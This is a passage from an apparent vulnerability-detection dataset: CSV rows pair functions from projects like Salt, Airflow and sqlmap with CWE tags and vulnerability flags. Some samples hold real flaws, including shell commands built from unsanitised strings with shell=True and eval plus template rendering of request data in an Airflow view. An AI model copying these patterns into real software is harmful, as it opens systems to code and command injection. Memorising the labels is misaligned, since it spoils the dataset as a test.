        salt '*' virt.seed_non_shared_migrate <disks>
    '''
    for _, data in disks.items():
        fn_ = data['file']
        form = data['file format']
        size = data['virtual size'].split()[1][1:]
        if os.path.isfile(fn_) and not force:
            # the target exists, check to see if it is compatible
            pre = yaml.safe_load(subprocess.Popen('qemu-img info arch',
                shell=True,
                stdout=subprocess.PIPE).communicate()[0])
            if not pre['file format'] == data['file format']\
                    and not pre['virtual size'] == data['virtual size']:
                return False
        if not os.path.isdir(os.path.dirname(fn_)):
            os.makedirs(os.path.dirname(fn_))
        if os.path.isfile(fn_):
            os.remove(fn_)
        cmd = 'qemu-img create -f ' + form + ' ' + fn_ + ' ' + size
        subprocess.call(cmd, shell=True)
        creds = _libvirt_creds()
        cmd = 'chown ' + creds['user'] + ':' + creds['group'] + ' ' + fn_
        subprocess.call(cmd, shell=True)
    return True"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_asset_command.py,1,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    output = temp_stdout.getvalue()
    # Skip the first line of `temp_stdout` since the current `DAGRunResponse` requires `DagBundlesManager`, which logs `INFO - DAG bundles loaded: dags-folder, example_dags`.
    output = ""\n"".join(output.splitlines()[1:])
    run_list = json.loads(output)
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic: dict = {
        ""dag_run_id"": None,
        ""dag_versions"": [],
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }",CWE-703,apache/airflow,8379804182a904d6be2f30ff0123b7a42325b9a2,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    run_list = json.loads(temp_stdout.getvalue())
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic = {
        ""dag_run_id"": None,
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_unicode_method_name_with_request_object(self, httpbin):
        files = {'file': open(__file__, 'rb')}
        s = requests.Session()
        req = requests.Request(u('POST'), httpbin('post'), files=files)
        prep = s.prepare_request(req)
        assert isinstance(prep.method, builtin_str)
        assert prep.method == 'POST'

        resp = s.send(prep)
        assert resp.status_code == 200",CWE-703,psf/requests,bbeb0001cdc657ac8c7fef98e154229bc392db0e,"def test_unicode_method_name_with_request_object(self, httpbin):
        files = {'file': open(__file__, 'rb')}
        s = requests.Session()
        req = requests.Request(u('POST'), httpbin('post'), files=files)
        prep = s.prepare_request(req)
        assert isinstance(prep.method, builtin_str)
        assert prep.method == 'POST'

        resp = s.send(prep)
        assert resp.status_code == 200"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def get_task_instances(
            self, session, start_date=None, end_date=None, state=None):
        TI = TaskInstance
        if not start_date:
            start_date = (datetime.today() - timedelta(30)).date()
            start_date = datetime.combine(start_date, datetime.min.time())
        end_date = end_date or datetime.now()
        tis = session.query(TI).filter(
            TI.dag_id == self.dag_id,
            TI.execution_date >= start_date,
            TI.execution_date <= end_date,
            TI.task_id.in_([t.task_id for t in self.tasks]),
        )
        if state:
            tis = tis.filter(TI.state == state)
        tis = tis.order_by(TI.execution_date).all()
        return tis",CWE-Unknown,apache/airflow,b87d3a49054f3890cf6714e7c4920973754b810e,"def get_task_instances(
            self, session, start_date=None, end_date=None, state=None):
        TI = TaskInstance
        if not start_date:
            start_date = (datetime.today() - timedelta(30)).date()
            start_date = datetime.combine(start_date, datetime.min.time())
        end_date = end_date or datetime.now()
        tis = session.query(TI).filter(
            TI.dag_id == self.dag_id,
            TI.execution_date >= start_date,
            TI.execution_date <= end_date,
            TI.task_id.in_([t.task_id for t in self.tasks]),
        )
        if state:
            tis = tis.filter(TI.state == state)
        tis = tis.all()
        return tis"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/connection_command.py,0,"def connections_export(args):
    """"""Exports all connections to a file""""""
    allowed_formats = ['.yaml', '.json', '.env']
    provided_format = None if args.format is None else f"".{args.format.lower()}""
    default_format = provided_format or '.json'

    with create_session() as session:
        if _is_stdout(args.file):
            filetype = default_format
        elif provided_format is not None:
            filetype = provided_format
        else:
            _, filetype = os.path.splitext(args.file.name)
            filetype = filetype.lower()
            if filetype not in allowed_formats:
                msg = f""Unsupported file format. "" \
                      f""The file must have the extension {', '.join(allowed_formats)}""
                raise SystemExit(msg)

        connections = session.query(Connection).order_by(Connection.conn_id).all()
        msg = _format_connections(connections, filetype)
        args.file.write(msg)

        if _is_stdout(args.file):
            print(""Connections successfully exported."", file=sys.stderr)
        else:
            print(f""Connections successfully exported to {args.file.name}"")",CWE-Unknown,apache/airflow,b5d1ab94099f8b1bf31f2611c385b9c6bc737e22,"def connections_export(args):
    """"""Exports all connections to a file""""""
    allowed_formats = ['.yaml', '.json', '.env']
    provided_format = None if args.format is None else f"".{args.format.lower()}""
    default_format = provided_format or '.json'

    with create_session() as session:
        if _is_stdout(args.file):
            filetype = default_format
        elif provided_format is not None:
            filetype = provided_format
        else:
            _, filetype = os.path.splitext(args.file.name)
            filetype = filetype.lower()
            if filetype not in allowed_formats:
                msg = f""Unsupported file format. "" \
                      f""The file must have the extension {', '.join(allowed_formats)}""
                raise SystemExit(msg)

        connections = session.query(Connection).all()
        msg = _format_connections(connections, filetype)
        args.file.write(msg)

        if _is_stdout(args.file):
            print(""Connections successfully exported."", file=sys.stderr)
        else:
            print(f""Connections successfully exported to {args.file.name}"")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def create_model_version(
        self,
        name: str,
        source: str,
        run_id: Optional[str] = None,
        tags: Optional[Dict[str, Any]] = None,
        run_link: Optional[str] = None,
        description: Optional[str] = None,
        await_creation_for: int = DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    ) -> ModelVersion:
        """"""
        Create a new model version from given source (artifact URI).

        :param name: Name for the containing registered model.
        :param source: Source path where the MLflow model is stored.
        :param run_id: Run ID from MLflow tracking server that generated the model
        :param tags: A dictionary of key-value pairs that are converted into
                     :py:class:`mlflow.entities.model_registry.ModelVersionTag` objects.
        :param run_link: Link to the run from an MLflow tracking server that generated this model.
        :param description: Description of the version.
        :param await_creation_for: Number of seconds to wait for the model version to finish being
                                    created and is in ``READY`` status. By default, the function
                                    waits for five minutes. Specify 0 or None to skip waiting.
        :return: Single :py:class:`mlflow.entities.model_registry.ModelVersion` object created by
                 backend.

        .. code-block:: python
            :caption: Example

            import mlflow.sklearn
            from mlflow.store.artifact.runs_artifact_repo import RunsArtifactRepository
            from mlflow.tracking import MlflowClient
            from sklearn.ensemble import RandomForestRegressor

            mlflow.set_tracking_uri(""sqlite:///mlruns.db"")
            params = {""n_estimators"": 3, ""random_state"": 42}
            name = ""RandomForestRegression""
            rfr = RandomForestRegressor(**params).fit([[0, 1]], [1])
            # Log MLflow entities
            with mlflow.start_run() as run:
                mlflow.log_params(params)
                mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"")

            # Register model name in the model registry
            client = MlflowClient()
            client.create_registered_model(name)

            # Create a new version of the rfr model under the registered model name
            desc = ""A new version of the model""
            runs_uri = ""runs:/{}/sklearn-model"".format(run.info.run_id)
            model_src = RunsArtifactRepository.get_underlying_uri(runs_uri)
            mv = client.create_model_version(name, model_src, run.info.run_id, description=desc)
            print(""Name: {}"".format(mv.name))
            print(""Version: {}"".format(mv.version))
            print(""Description: {}"".format(mv.description))
            print(""Status: {}"".format(mv.status))
            print(""Stage: {}"".format(mv.current_stage))

        .. code-block:: text
            :caption: Output

            Name: RandomForestRegression
            Version: 1
            Description: A new version of the model
            Status: READY
            Stage: None
        """"""
        tracking_uri = self._tracking_client.tracking_uri
        if not run_link and is_databricks_uri(tracking_uri) and tracking_uri != self._registry_uri:
            if not run_id:
                eprint(
                    ""Warning: no run_link will be recorded with the model version ""
                    ""because no run_id was given""
                )
            else:
                run_link = self._get_run_link(tracking_uri, run_id)
        new_source = source
        if is_databricks_uri(self._registry_uri) and tracking_uri != self._registry_uri:
            # Print out some info for user since the copy may take a while for large models.
            eprint(
                ""=== Copying model files from the source location to the model""
                + "" registry workspace ===""
            )
            new_source = _upload_artifacts_to_databricks(
                source, run_id, tracking_uri, self._registry_uri
            )
            # NOTE: we can't easily delete the target temp location due to the async nature
            # of the model version creation - printing to let the user know.
            eprint(
                ""=== Source model files were copied to %s"" % new_source
                + "" in the model registry workspace. You may want to delete the files once the""
                + "" model version is in 'READY' status. You can also find this location in the""
                + "" `source` field of the created model version. ===""
            )
        return self._get_registry_client().create_model_version(
            name=name,
            source=new_source,
            run_id=run_id,
            tags=tags,
            run_link=run_link,
            description=description,
            await_creation_for=await_creation_for,
        )",,mlflow/mlflow,a99d0aceee97400c743632c2491dab2ae16fa701,"def create_model_version(
        self,
        name: str,
        source: str,
        run_id: Optional[str] = None,
        tags: Optional[Dict[str, Any]] = None,
        run_link: Optional[str] = None,
        description: Optional[str] = None,
        await_creation_for: int = DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    ) -> ModelVersion:
        """"""
        Create a new model version from given source (artifact URI).

        :param name: Name for the containing registered model.
        :param source: Source path where the MLflow model is stored.
        :param run_id: Run ID from MLflow tracking server that generated the model
        :param tags: A dictionary of key-value pairs that are converted into
                     :py:class:`mlflow.entities.model_registry.ModelVersionTag` objects.
        :param run_link: Link to the run from an MLflow tracking server that generated this model.
        :param description: Description of the version.
        :param await_creation_for: Number of seconds to wait for the model version to finish being
                                    created and is in ``READY`` status. By default, the function
                                    waits for five minutes. Specify 0 or None to skip waiting.
        :return: Single :py:class:`mlflow.entities.model_registry.ModelVersion` object created by
                 backend.

        .. code-block:: python
            :caption: Example

            import mlflow.sklearn
            from mlflow.tracking import MlflowClient
            from sklearn.ensemble import RandomForestRegressor

            mlflow.set_tracking_uri(""sqlite:///mlruns.db"")
            params = {""n_estimators"": 3, ""random_state"": 42}
            name = ""RandomForestRegression""
            rfr = RandomForestRegressor(**params).fit([[0, 1]], [1])
            # Log MLflow entities
            with mlflow.start_run() as run:
                mlflow.log_params(params)
                mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"")

            # Register model name in the model registry
            client = MlflowClient()
            client.create_registered_model(name)

            # Create a new version of the rfr model under the registered model name
            desc = ""A new version of the model""
            model_uri = ""runs:/{}/sklearn-model"".format(run.info.run_id)
            mv = client.create_model_version(name, model_uri, run.info.run_id, description=desc)
            print(""Name: {}"".format(mv.name))
            print(""Version: {}"".format(mv.version))
            print(""Description: {}"".format(mv.description))
            print(""Status: {}"".format(mv.status))
            print(""Stage: {}"".format(mv.current_stage))

        .. code-block:: text
            :caption: Output

            Name: RandomForestRegression
            Version: 1
            Description: A new version of the model
            Status: READY
            Stage: None
        """"""
        tracking_uri = self._tracking_client.tracking_uri
        if not run_link and is_databricks_uri(tracking_uri) and tracking_uri != self._registry_uri:
            if not run_id:
                eprint(
                    ""Warning: no run_link will be recorded with the model version ""
                    ""because no run_id was given""
                )
            else:
                run_link = self._get_run_link(tracking_uri, run_id)
        new_source = source
        if is_databricks_uri(self._registry_uri) and tracking_uri != self._registry_uri:
            # Print out some info for user since the copy may take a while for large models.
            eprint(
                ""=== Copying model files from the source location to the model""
                + "" registry workspace ===""
            )
            new_source = _upload_artifacts_to_databricks(
                source, run_id, tracking_uri, self._registry_uri
            )
            # NOTE: we can't easily delete the target temp location due to the async nature
            # of the model version creation - printing to let the user know.
            eprint(
                ""=== Source model files were copied to %s"" % new_source
                + "" in the model registry workspace. You may want to delete the files once the""
                + "" model version is in 'READY' status. You can also find this location in the""
                + "" `source` field of the created model version. ===""
            )
        return self._get_registry_client().create_model_version(
            name=name,
            source=new_source,
            run_id=run_id,
            tags=tags,
            run_link=run_link,
            description=description,
            await_creation_for=await_creation_for,
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/serialization/test_dag_serialization.py,0,"def validate_operator_extra_links(self, task):
        """"""
        This tests also depends on GoogleLink() registered as a plugin
        in tests/plugins/test_plugin.py

        The function tests that if extra operator links are registered in plugin
        in ``operator_extra_links`` and the same is also defined in
        the Operator in ``BaseOperator.operator_extra_links``, it has the correct
        extra link.
        """"""
        self.assertEqual(
            task.operator_extra_link_dict[GoogleLink.name].get_link(
                task, datetime(2019, 8, 1)),
            ""https://www.google.com""
        )",CWE-Unknown,apache/airflow,37a6eb46ca96256298ece2251fb3138d7a073227,"def validate_operator_extra_links(self, task):
        """"""
        This tests also depends on GoogleLink() registered as a plugin
        in tests/plugins/test_plugin.py

        The function tests that if extra operator links are registered in plugin
        in ``operator_extra_links`` and the same is also defined in
        the Operator in ``BaseOperator.operator_extra_links``, it has the correct
        extra link.
        """"""
        self.assertEqual(
            task.operator_extra_link_dict[GoogleLink.name].get_link(
                task, datetime(2019, 8, 1)),
            ""https://www.google.com""
        )"
,UNKNOWN,UNKNOWN,airflow/www/views.py,1,"def chart_data(self):
        from airflow import macros
        import pandas as pd
        session = settings.Session()
        chart_id = request.args.get('chart_id')
        csv = request.args.get('csv') == ""true""
        chart = session.query(models.Chart).filter_by(id=chart_id).first()
        db = session.query(
            models.Connection).filter_by(conn_id=chart.conn_id).first()
        session.expunge_all()
        session.commit()
        session.close()

        payload = {}
        payload['state'] = 'ERROR'
        payload['error'] = ''

        # Processing templated fields
        try:
            args = eval(chart.default_params)
            if type(args) is not type(dict()):
                raise AirflowException('Not a dict')
        except:
            args = {}
            payload['error'] += (
                ""Default params is not valid, string has to evaluate as ""
                ""a Python dictionary. "")

        request_dict = {k: request.args.get(k) for k in request.args}
        args.update(request_dict)
        args['macros'] = macros
        sql = jinja2.Template(chart.sql).render(**args)
        label = jinja2.Template(chart.label).render(**args)
        payload['sql_html'] = Markup(highlight(
            sql,
            lexers.SqlLexer(),  # Lexer call
            HtmlFormatter(noclasses=True))
        )
        payload['label'] = label

        pd.set_option('display.max_colwidth', 100)
        hook = db.get_hook()
        try:
            df = hook.get_pandas_df(
                wwwutils.limit_sql(sql, CHART_LIMIT, conn_type=db.conn_type))
            df = df.fillna(0)
        except Exception as e:
            payload['error'] += ""SQL execution failed. Details: "" + str(e)

        if csv:
            return Response(
                response=df.to_csv(index=False),
                status=200,
                mimetype=""application/text"")

        if not payload['error'] and len(df) == CHART_LIMIT:
            payload['warning'] = (
                ""Data has been truncated to {0}""
                "" rows. Expect incomplete results."").format(CHART_LIMIT)

        if not payload['error'] and len(df) == 0:
            payload['error'] += ""Empty result set. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'series' and
                chart.chart_type != ""datatable"" and
                len(df.columns) < 3):
            payload['error'] += ""SQL needs to return at least 3 columns. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'columns'and
                len(df.columns) < 2):
            payload['error'] += ""SQL needs to return at least 2 columns. ""
        elif not payload['error']:
            import numpy as np
            chart_type = chart.chart_type

            data = None
            if chart.show_datatable or chart_type == ""datatable"":
                data = df.to_dict(orient=""split"")
                data['columns'] = [{'title': c} for c in data['columns']]
                payload['data'] = data

            # Trying to convert time to something Highcharts likes
            x_col = 1 if chart.sql_layout == 'series' else 0
            if chart.x_is_date:
                try:
                    # From string to datetime
                    df[df.columns[x_col]] = pd.to_datetime(
                        df[df.columns[x_col]])
                    df[df.columns[x_col]] = df[df.columns[x_col]].apply(
                        lambda x: int(x.strftime(""%s"")) * 1000)
                except Exception as e:
                    payload['error'] = ""Time conversion failed""

            if chart_type == 'datatable':
                payload['state'] = 'SUCCESS'
                return wwwutils.json_response(payload)
            else:
                if chart.sql_layout == 'series':
                    # User provides columns (series, x, y)
                    xaxis_label = df.columns[1]
                    yaxis_label = df.columns[2]
                    df[df.columns[2]] = df[df.columns[2]].astype(np.float)
                    df = df.pivot_table(
                        index=df.columns[1],
                        columns=df.columns[0],
                        values=df.columns[2], aggfunc=np.sum)
                else:
                    # User provides columns (x, y, metric1, metric2, ...)
                    xaxis_label = df.columns[0]
                    yaxis_label = 'y'
                    df.index = df[df.columns[0]]
                    df = df.sort(df.columns[0])
                    del df[df.columns[0]]
                    for col in df.columns:
                        df[col] = df[col].astype(np.float)

                df = df.fillna(0)
                NVd3ChartClass = chart_mapping.get(chart.chart_type)
                NVd3ChartClass = getattr(nvd3, NVd3ChartClass)
                nvd3_chart = NVd3ChartClass(x_is_date=chart.x_is_date)

                for col in df.columns:
                    nvd3_chart.add_serie(name=col, y=df[col].tolist(), x=df[col].index.tolist())
                try:
                    nvd3_chart.buildcontent()
                    payload['chart_type'] = nvd3_chart.__class__.__name__
                    payload['htmlcontent'] = nvd3_chart.htmlcontent
                except Exception as e:
                    payload['error'] = str(e)

            payload['state'] = 'SUCCESS'
            payload['request_dict'] = request_dict
        return wwwutils.json_response(payload)",CWE-94,apache/airflow,189e6b88742ace8c46e72d59d7662284e34b7a2e,"def chart_data(self):
        from airflow import macros
        import pandas as pd
        session = settings.Session()
        chart_id = request.args.get('chart_id')
        csv = request.args.get('csv') == ""true""
        chart = session.query(models.Chart).filter_by(id=chart_id).first()
        db = session.query(
            models.Connection).filter_by(conn_id=chart.conn_id).first()
        session.expunge_all()
        session.commit()
        session.close()


        payload = {}
        payload['state'] = 'ERROR'
        payload['error'] = ''

        # Processing templated fields
        try:
            args = eval(chart.default_params)
            if type(args) is not type(dict()):
                raise AirflowException('Not a dict')
        except:
            args = {}
            payload['error'] += (
                ""Default params is not valid, string has to evaluate as ""
                ""a Python dictionary. "")

        request_dict = {k: request.args.get(k) for k in request.args}
        args.update(request_dict)
        args['macros'] = macros
        sql = jinja2.Template(chart.sql).render(**args)
        label = jinja2.Template(chart.label).render(**args)
        payload['sql_html'] = Markup(highlight(
            sql,
            lexers.SqlLexer(),  # Lexer call
            HtmlFormatter(noclasses=True))
        )
        payload['label'] = label

        pd.set_option('display.max_colwidth', 100)
        hook = db.get_hook()
        try:
            df = hook.get_pandas_df(
                wwwutils.limit_sql(sql, CHART_LIMIT, conn_type=db.conn_type))
            df = df.fillna(0)
        except Exception as e:
            payload['error'] += ""SQL execution failed. Details: "" + str(e)

        if csv:
            return Response(
                response=df.to_csv(index=False),
                status=200,
                mimetype=""application/text"")

        if not payload['error'] and len(df) == CHART_LIMIT:
            payload['warning'] = (
                ""Data has been truncated to {0}""
                "" rows. Expect incomplete results."").format(CHART_LIMIT)

        if not payload['error'] and len(df) == 0:
            payload['error'] += ""Empty result set. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'series' and
                chart.chart_type != ""datatable"" and
                len(df.columns) < 3):
            payload['error'] += ""SQL needs to return at least 3 columns. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'columns'and
                len(df.columns) < 2):
            payload['error'] += ""SQL needs to return at least 2 columns. ""
        elif not payload['error']:
            import numpy as np
            chart_type = chart.chart_type

            data = None
            if chart.show_datatable or chart_type == ""datatable"":
                data = df.to_dict(orient=""split"")
                data['columns'] = [{'title': c} for c in data['columns']]
                payload['data'] = data

            # Trying to convert time to something Highcharts likes
            x_col = 1 if chart.sql_layout == 'series' else 0
            if chart.x_is_date:
                try:
                    # From string to datetime
                    df[df.columns[x_col]] = pd.to_datetime(
                        df[df.columns[x_col]])
                    df[df.columns[x_col]] = df[df.columns[x_col]].apply(
                        lambda x: int(x.strftime(""%s"")) * 1000)
                except Exception as e:
                    payload['error'] = ""Time conversion failed""

            if chart_type == 'datatable':
                payload['state'] = 'SUCCESS'
                return wwwutils.json_response(payload)
            else:
                if chart.sql_layout == 'series':
                    # User provides columns (series, x, y)
                    xaxis_label = df.columns[1]
                    yaxis_label = df.columns[2]
                    df[df.columns[2]] = df[df.columns[2]].astype(np.float)
                    df = df.pivot_table(
                        index=df.columns[1],
                        columns=df.columns[0],
                        values=df.columns[2], aggfunc=np.sum)
                else:
                    # User provides columns (x, y, metric1, metric2, ...)
                    xaxis_label = df.columns[0]
                    yaxis_label = 'y'
                    df.index = df[df.columns[0]]
                    df = df.sort(df.columns[0])
                    del df[df.columns[0]]
                    for col in df.columns:
                        df[col] = df[col].astype(np.float)

                df = df.fillna(0)
                NVd3ChartClass = chart_mapping.get(chart.chart_type)
                NVd3ChartClass = getattr(nvd3, NVd3ChartClass)
                nvd3_chart = NVd3ChartClass(x_is_date=chart.x_is_date)

                for col in df.columns:
                    nvd3_chart.add_serie(name=col, y=df[col].tolist(), x=df[col].index.tolist())
                try:
                    nvd3_chart.buildcontent()
                    payload['chart_type'] = nvd3_chart.__class__.__name__
                    payload['htmlcontent'] = nvd3_chart.htmlcontent
                except Exception as e:
                    payload['error'] = str(e)


            payload['state'] = 'SUCCESS'
            payload['request_dict'] = request_dict
        return wwwutils.json_response(payload)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/galaxy/api.py,0,"def fetch_role_related(self, related, role_id):
        """"""
        Fetch the list of related items for the given role.
        The url comes from the 'related' field of the role.
        """"""

        results = []
        try:
            url = '%s/roles/%s/%s/?page_size=50' % (self.baseurl, role_id, related)
            data = self.__call_galaxy(url)
            results = data['results']
            done = (data.get('next_link', None) is None)
            while not done:
                url = '%s%s' % (self._api_server, data['next_link'])
                data = self.__call_galaxy(url)
                results += data['results']
                done = (data.get('next_link', None) is None)
        except Exception as e:
            display.vvvv(""Unable to retrive role (id=%s) data (%s), but this is not fatal so we continue: %s"" % (role_id, related, to_text(e)))
        return results",,ansible/ansible,c2253c8133e6b0e97c456ef38ad27b13d65fac4d,"def fetch_role_related(self, related, role_id):
        """"""
        Fetch the list of related items for the given role.
        The url comes from the 'related' field of the role.
        """"""

        try:
            url = '%s/roles/%s/%s/?page_size=50' % (self.baseurl, role_id, related)
            data = self.__call_galaxy(url)
            results = data['results']
            done = (data.get('next_link', None) is None)
            while not done:
                url = '%s%s' % (self._api_server, data['next_link'])
                data = self.__call_galaxy(url)
                results += data['results']
                done = (data.get('next_link', None) is None)
            return results
        except Exception:
            return None"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/basePlugin/baseOutputPlugin.py,0,"def _cleanString( self, stringToClean ):
        '''
        @parameter stringToClean: A string that should be cleaned before using it in a message object.
        '''
        for char, replace in [('\0','\\0'),('\t','\\t')]: #('\n','\\n'),('\r','\\r'),
            stringToClean = stringToClean.replace(char,replace)
        return stringToClean",,andresriancho/w3af,869fc5824cb193a3350afc393a1dba4721266e37,"def _cleanString( self, stringToClean ):
        '''
        @parameter stringToClean: A string that should be cleaned before using it in a message object.
        '''
        for char, replace in [('\0','\\0'),('\t','\\t')]: #('\n','\\n'),('\r','\\r'),
            stringToClean = stringToClean.replace(char,replace)
        return stringToClean"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def check_for_dependencies():
    """"""Check for IPython's dependencies.

    This function should NOT be called if running under setuptools!
    """"""
    from setupext.setupext import (
        print_line, print_raw, print_status,
        check_for_sphinx, check_for_pygments,
        check_for_nose, check_for_pexpect,
        check_for_pyzmq, check_for_readline,
        check_for_jinja2, check_for_tornado
    )
    print_line()
    print_raw(""BUILDING IPYTHON"")
    print_status('python', sys.version)
    print_status('platform', sys.platform)
    if sys.platform == 'win32':
        print_status('Windows version', sys.getwindowsversion())

    print_raw("""")
    print_raw(""OPTIONAL DEPENDENCIES"")

    check_for_sphinx()
    check_for_pygments()
    check_for_nose()
    check_for_pexpect()
    check_for_pyzmq()
    check_for_tornado()
    check_for_readline()
    check_for_jinja2()",,jupyter/notebook,bf7704e62233e1436244b46a41ea5ba6d7df8f69,"def check_for_dependencies():
    """"""Check for IPython's dependencies.

    This function should NOT be called if running under setuptools!
    """"""
    from setupext.setupext import (
        print_line, print_raw, print_status,
        check_for_sphinx, check_for_pygments,
        check_for_nose, check_for_pexpect,
        check_for_pyzmq, check_for_readline,
        check_for_jinja2
    )
    print_line()
    print_raw(""BUILDING IPYTHON"")
    print_status('python', sys.version)
    print_status('platform', sys.platform)
    if sys.platform == 'win32':
        print_status('Windows version', sys.getwindowsversion())

    print_raw("""")
    print_raw(""OPTIONAL DEPENDENCIES"")

    check_for_sphinx()
    check_for_pygments()
    check_for_nose()
    check_for_pexpect()
    check_for_pyzmq()
    check_for_readline()
    check_for_jinja2()"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

